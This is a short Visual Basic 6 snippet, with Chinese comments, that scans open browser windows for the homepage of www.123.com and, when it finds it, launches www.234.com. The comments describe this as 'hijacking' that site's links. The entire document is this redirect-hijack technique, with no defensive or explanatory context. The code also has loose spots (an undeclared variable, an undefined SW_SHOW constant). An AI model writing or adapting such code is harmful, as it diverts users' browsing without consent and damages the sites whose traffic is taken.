Private Declare Function ShellExecute _
Lib "shell32.dll" _
Alias "ShellExecuteA" ( _
ByVal hwnd As Long, _
ByVal lpOperation As String, _
ByVal lpFile As String, _
ByVal lpParameters As String, _
ByVal lpDirectory As String, _
ByVal nShowCmd As Long) _
As Long
Private Sub Command1_Click()
Dim oShellApp, oShellAppWindows, oWin
Dim m_Url As String
Dim r As Long
Set oShellApp = CreateObject("Shell.Application")
Set oShellAppWindows = oShellApp.Windows
For Each oWin In oShellAppWindows
If LCase(TypeName(oWin.document)) = "htmldocument" Then
m_Url = oWin.LocationURL
End If
Next
'劫持http://www.123.com/的链接
If m_Url = "http://www.123.com/" Then '判断是否来自www.123.com首页
n_Url = "http://www.234.com" '直接换成www.234.com
r = ShellExecute(0, "open", n_Url, 0, 0, SW_SHOW) '打开www.234.com
End If
End Sub